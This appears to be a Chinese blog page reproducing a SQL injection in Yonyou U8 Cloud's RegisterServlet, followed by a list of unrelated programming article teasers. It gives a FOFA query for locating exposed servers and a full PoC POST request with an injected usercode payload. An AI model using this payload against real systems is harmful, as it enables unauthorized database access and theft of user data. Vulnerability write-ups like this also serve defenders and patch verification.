当前位置： 首页 > news >正文

用友U8 Cloud RegisterServlet SQL注入漏洞复现

news 2026/5/16 7:53:25

0x01 产品简介

  用友U8 Cloud是用友推出的新一代云ERP，主要聚焦成长型、创新型企业，提供企业级云ERP整体解决方案。

0x02 漏洞概述

  用友U8 Cloud  RegisterServlet接口处存在SQL注入漏洞，未授权的攻击者可通过此漏洞获取数据库权限，从而盗取用户数据，造成用户信息泄露。

0x03 影响范围

 所有版本

0x04 复现环境

FOFA：app="用友-U8-Cloud"

0x05 漏洞复现 

PoC

POST /servlet/RegisterServlet HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
X-Forwarded-For: 127.0.0.1usercode=1' and substring(sys.fn_sqlvarbasetostr(HashBytes('MD5','123')),3,32)>0--

查询123的MD5值

相关文章：

用友U8 Cloud RegisterServlet SQL注入漏洞复现

0x01 产品简介 用友U8 Cloud是用友推出的新一代云ERP，主要聚焦成长型、创新型企业，提供企业级云ERP整体解决方案。 0x02 漏洞概述 用友U8 Cloud RegisterServlet接口处存在SQL注入漏洞，未授权的攻击者可通过此漏洞获取数据库权限，从而盗取用户数据，造成用户信息泄露。 …...

编程日记 2023/12/6 1:23:42

coding创建远程分支。并拉取远程新分支+推送代码

进入coding ----项目----代码仓库---点击 下拉之后查看全部----创建分支 创建分支之后执行下面命令 git branch -a // 查看所有分支 这个时候发现自己创建的分支没有显示这是因为自己在远程创建了分支但是本地还没有分支 执行 git fetch命令 用于从远程仓库获取最新的提交…...

编程日记 2023/12/6 1:22:39

坚鹏：中国工商银行内蒙古分行数字化转型发展现状与成功案例培训

中国工商银行围绕“数字生态、数字资产、数字技术、数字基建、数字基因”五维布局，深入推进数字化转型，加快形成体系化、生态化实施路径，促进科技与业务加速融合，以“数字工行”建设推动“GBC”（政务、企业、个人&…...

编程日记 2023/12/6 1:21:37

AIGC发展史

1 AIGC概况 1.1 AIGC定义 AIGC（AI Generated Content）是指利用人工智能技术生成的内容。它也被认为是继PGC,UGC之后的新型内容生产方式，AI绘画、AI写作等都属于AIGC的具体形式。2022年AIGC发展速度惊人，迭代速度更是呈现指数级发…...

编程日记 2023/12/6 1:19:31

面试题库之JAVA基础篇（二）

String 只读字符串。每次操作会隐式的在内存中new一个跟原字符串一样的StringBuilder对象，然后append号后面的字符串。 StringBuilder 可变字符串对象。线程不安全。 StringBuffer 可变字符串对象。线程安全。 数组 一种线性数据结构，使用连续的…...

编程日记 2023/12/6 1:18:30

[Rust] 可迭代类型, 迭代器, 如何正确的创建自定义可迭代类型

在 Rust 中, for 语句的执行依赖于类型对于 IntoIterator 的实现, 如果某类型实现了这个 trait, 那么它就可以直接使用 for 进行循环. 直接实现 在 Rust 中, 如果一个类型实现了 Iterator, 那么它会被同时实现 IntoIterator, 具体逻辑是返回自身, 因为自身就是迭代器. 但是如…...

编程日记 2023/12/6 1:17:28

MySQL中，text,mediumtext, 和 longtext字符类型

需求 由于项目需要，需要在mysql数据库，储存长文本，长文本格式可能为markdown也可能为html。 思路 测试存入html时，字符类型为varcar 255。很明显字符长度达不到要求。数据库抛错，修改字符类型 解决方案 将原本的字…...

编程日记 2023/12/6 1:16:28

网页开发 JS基础

目录 JS概述 基本语法 数据类型内置方法 DOM对象 查找标签 绑定事件 操作标签 jQuery 查找标签 绑定事件 操作标签 Ajax请求 数据接口 前后端分离 ajax的使用 JS概述 一门弱类型的编程语言,属于基于对象和基于原型的脚本语言. 1 直接编写<script>console…...

编程日记 2023/12/6 1:15:25

如何在财税行业查找批量客户？

现在市场上代记账公司也不算少&#xff0c;做过这行的都知道&#xff0c;最初呢行业竞争不强&#xff0c;都是靠地推、老客户转介绍&#xff0c;或者长期以往的蹲守各个地区的工商注册服务中心&#xff0c;找那些才注册企业的老板或者创业者。但是&#xff0c;随着市场经济的发…...

编程日记 2023/12/6 1:14:23

IntelliJ IDEA详细完整安装教程

IntelliJ IDEA 是一款强大的Java集成开发环境&#xff0c;以下是安装和使用教程&#xff1a; 1. 下载IntelliJ IDEA&#xff1a;访问JetBrains官网&#xff08;jetbrains.com&#xff09;&#xff0c;点击“Download”按钮&#xff0c;选择适合自己操作系统的版本进行下载。 2.…...

编程日记 2023/12/6 1:13:16

【.NET Core】Linq查询运算符（一）

【.NET Core】Linq查询运算符&#xff08;一&#xff09; 文章目录 【.NET Core】Linq查询运算符&#xff08;一&#xff09;一、概述二、筛选数据三、投影运算3.1 Select 3.2 SelectMany3.3 Zip3.4 Select 与 SelectMany 四、Set&#xff08;设置&#xff09;运算4.1 Distinct…...

编程日记 2023/12/6 1:12:15

Python sorted函数及用法以及如何用json模块存储数据

Python sorted函数及用法 sorted() 函数与 reversed() 函数类似&#xff0c;该函数接收一个可迭代对象作为参数&#xff0c;返回一个对元素排序的列表。 在交互式解释器中测试该函数&#xff0c;可以看到如下运行过程&#xff1a; >>> a [20, 30, -1.2, 3.5, 90, 3.…...

编程日记 2023/12/6 1:11:13

使用opencv将sRGB格式的图片转换为BT.2020格式【sRGB】【BT.2020】

将sRGB格式的图片转换为BT.2020格式涉及到两个步骤&#xff1a;首先将sRGB转换到线性RGB&#xff0c;然后将线性RGB转换到BT.2020。这是因为sRGB图像通常使用伽马校正&#xff0c;而BT.2020工作在线性色彩空间中。 从sRGB到线性RGB&#xff1a;sRGB图像首先需要进行伽马校正解码…...

编程日记 2023/12/6 1:09:02

聊天注意事项

聊天成功的核心就是双方都能舒服 有些人不会聊天是缺乏引导性 聊天聊两句话就没了 聊天要把话题引导向对方 从倾诉者变为倾听者 才能不断交流 沟通不是一个人的独角戏 每个人都渴望被理解 要注意倾听别人说的话 不要只顾自己说一大堆&#xff0c;别人都瞌睡了 不要查户口式问…...

编程日记 2023/12/6 1:07:59

12.5 作业

1&#xff0c; 以下是一个简单的比喻&#xff0c;将多态概念与生活中的实际情况相联系&#xff1a; 比喻&#xff1a;动物园的讲解员和动物表演 想象一下你去了一家动物园&#xff0c;看到了许多不同种类的动物&#xff0c;如狮子、大象、猴子等。现在&#xff0c;动物园里有…...

编程日记 2023/12/6 1:05:53

深入理解指针3

hello&#xff0c;各位小伙伴&#xff0c;本篇文章跟大家一起继续深入学习指针&#xff0c;感谢大家对我上一篇的支持&#xff0c;如有什么问题&#xff0c;还请多多指教 如果本篇文章对你有帮助&#xff0c;还请各位点点赞&#xff01;&#xff01;&#xff01; 话不多说&am…...

编程日记 2023/12/6 1:04:38

大数据环境下在线考试系统安全策略研究

摘 要 随着云计算、物联网、电子商务、企业信息化等的飞速发展&#xff0c;以及智能终端和各种检测、感应设备的普及和建设&#xff0c;全球逐渐进入信息化、网络化&#xff0c;由此产生了指数爆炸般的数据增长&#xff0c;一个大规模生产、分享和应用的数据的时代正在开启&am…...

编程日记 2023/12/6 1:03:32

Python中程序的异常处理

Python程序一般对输入有一定要求&#xff0c;担当实际输入不满足程序要求时&#xff0c;可能会产生程序的运行错误。Python语言使用的保留太容易try和except进行异常处理&#xff01; try: 语句块1 except: 语句块2 语句块1是正常执行的程序内容&#xff0c;当这个语句块发生异…...

编程日记 2023/12/6 1:02:29

有趣的代码——有故事背景的程序设计3

这篇文章再和大家分享一些有“背景”的程序设计&#xff0c;希望能够让大家学到知识的同时&#xff0c;对编程学习更感兴趣&#xff0c;更能在这条路上坚定地走下去。 目录 1.幻方问题 2.用函数打印九九乘法表 3.鸡兔同笼问题 4.字数统计 5.简单选择排序 1.幻方问题 幻方又…...

编程日记 2023/12/6 1:01:26

聚观早报 |国行PS5轻薄版开售；岚图汽车11月交付7006辆

【聚观365】12月2日消息 国行PS5轻薄版开售 岚图汽车11月交付7006辆 比亚迪推出12月限时优惠 特斯拉正式交付首批Cybertruck 昆仑万维发布「天工 SkyAgents」平台 国行PS5轻薄版开售 索尼最新的PlayStation5主机&#xff08;CFI-2000型号组-轻薄版&#xff09;国行版本正…...

编程日记 2023/12/6 1:00:24

NewLife.Core配置系统深度解析：XML/JSON/HTTP多源配置实战

NewLife.Core配置系统深度解析&#xff1a;XML/JSON/HTTP多源配置实战 【免费下载链接】X Core basic components: log (file / network), configuration (XML / JSON / HTTP), cache (memory / redis), network (TCP / UDP / HTTP), RPC framework, serialization (binary / X…...

编程新知 2026/5/16 4:27:34

data-prep-kit：Python数据预处理工具包，自动化清洗、特征工程与流水线构建

1. 项目概述与核心价值最近在数据科学和机器学习社区里&#xff0c;一个名为data-prep-kit的项目开始引起不少同行的注意。如果你经常和数据打交道&#xff0c;无论是做数据分析、构建模型&#xff0c;还是搭建数据管道&#xff0c;你肯定对“数据准备”这个环节又爱又恨。爱的…...

编程新知 2026/5/16 4:00:26

Linux进程诊断利器whatdiditdo：实时快照工具原理与实战

1. 项目概述&#xff1a;一个“透明”的进程监控器最近在折腾一个自动化脚本&#xff0c;它时不时会卡住&#xff0c;但日志里又看不出个所以然。排查这种问题&#xff0c;最直接的想法就是看看这个进程到底在“干什么”——它在读写哪些文件&#xff1f;调用了哪些系统调用&am…...

编程新知 2026/5/16 3:34:11

开源、有文档、能上线的 .NET + Vue 通用权限系统

前言在日常项目开发中&#xff0c;权限管理几乎是每个系统都绕不开的基础模块。从用户登录、菜单控制到数据隔离&#xff0c;一套稳定、灵活、可扩展的权限体系&#xff0c;往往决定了整个项目的成败。然而&#xff0c;从零开始搭建这样的平台&#xff0c;不仅耗时耗力&#xf…...

编程新知 2026/5/16 3:28:00

AI应用成本监控实战：基于令牌预算的LLM API调用管理与优化

1. 项目概述与核心价值最近在折腾AI应用开发&#xff0c;特别是那些基于大语言模型API&#xff08;比如OpenAI、Anthropic、Claude等&#xff09;的项目时&#xff0c;有一个痛点越来越明显&#xff1a;成本控制。你写了个聊天机器人&#xff0c;或者搞了个自动摘要工具&#x…...

编程新知 2026/5/16 3:13:08

构建个人技能图谱：从GitHub项目到结构化能力管理实践

1. 项目概述&#xff1a;一个技能图谱的构建与价值 最近在整理自己的技术栈时&#xff0c;发现了一个挺有意思的GitHub项目&#xff0c;标题是“headlike-oradexon12/skills”。乍一看&#xff0c;这像是一个个人技能仓库&#xff0c;但深入探究后&#xff0c;我发现它远不止是…...

编程新知 2026/5/16 1:56:40

智能车竞赛实战：从PID控制到图像识别的嵌入式系统开发全解析

1. 项目概述&#xff1a;一场硬核的嵌入式综合实战“飞思卡尔杯”智能车竞赛&#xff0c;这个名字对于很多电子、自动化、计算机相关专业的同学来说&#xff0c;绝对是一个如雷贯耳的存在。它不仅仅是一个比赛&#xff0c;更像是一个集机械、电子、控制、算法于一体的微型“工业…...

编程新知 2026/5/16 0:03:58

Simulink仿真PMSM时，那个神秘的‘4’和‘30/π’到底怎么来的？手把手带你算清楚

Simulink仿真PMSM时关键参数转换原理与实战解析 在永磁同步电机(PMSM)的Simulink仿真过程中&#xff0c;工程师们常常会遇到几个看似"神秘"的增益系数——特别是30/π和4这两个数值。这些参数并非随意设置&#xff0c;而是深植于电机物理本质与单位系统转换的数学表达…...

编程新知 2026/5/16 0:01:58

Java笔记——Java 初识_java 版本历史

Java笔记——Java 初识_java 版本历史 Java 的发展历程 Sun 公司&#xff1a;Stanford University Network&#xff0c;斯坦福大学网络公司。 Oracle 公司。2004 年发布 Java 5.0&#xff0c;2014 年发布 Java 8&#xff0c;从 Java 9 开始每 6 个月发布一次 Java。 其实&#…...

编程新知 2026/5/15 23:39:51

三步快速解锁网盘高速下载：LinkSwift直链解析终极指南

三步快速解锁网盘高速下载&#xff1a;LinkSwift直链解析终极指南 【免费下载链接】Online-disk-direct-link-download-assistant 一个基于 JavaScript 的网盘文件下载地址获取工具。基于【网盘直链下载助手】修改 &#xff0c;支持 百度网盘 / 阿里云盘 / 中国移动云盘 / 天翼…...

编程新知 2026/5/15 23:05:52